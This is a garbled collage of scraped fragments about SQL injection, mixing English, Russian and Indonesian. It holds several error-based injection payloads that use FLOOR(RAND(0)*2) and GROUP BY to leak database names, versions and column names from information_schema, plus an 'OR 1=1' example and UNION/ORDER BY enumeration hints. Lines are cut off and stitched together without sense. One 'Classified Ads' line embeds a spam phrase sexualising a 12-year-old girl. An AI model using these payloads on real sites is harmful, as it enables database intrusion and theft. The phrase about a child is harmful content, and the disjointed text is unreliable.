In particular, some environments process such requests by concatenating the values taken from all instances of a parameter name within the request.
...6'+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(database()+as+char),0x7e)
...FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zcMP
Classified Ads 12+year+small+girl+xxx+3gbtt+video')+AND+(1374+FROM(COUNT(*),CONCAT
SELECT * FROM news WHERE id_news = 5. Но если злоумышленник передаст в качестве параметра id строку -1 OR 1=1 (например, так
file.php?var=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select version() from information_schema.tables limit 1),1,64),floor(rand(0)*2)))–.
Gunakan formula order by 1+n sehingga page menghasilkan error. The UNION operator is used to combine the result-set of two or more SELECT statements.
...(select+count(*),concat((select(select+concat(cast(column_name+as+char),0x7e))+FROM+information_schema.columns+WHERE+table_schema=database()+AND+table_name
+or+1+group+by+concat_ws(0x7e,(select+ column_name +from+ table_name +limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–.
Order by Procedure analyze Group by Example: If we use group by a certain number, and its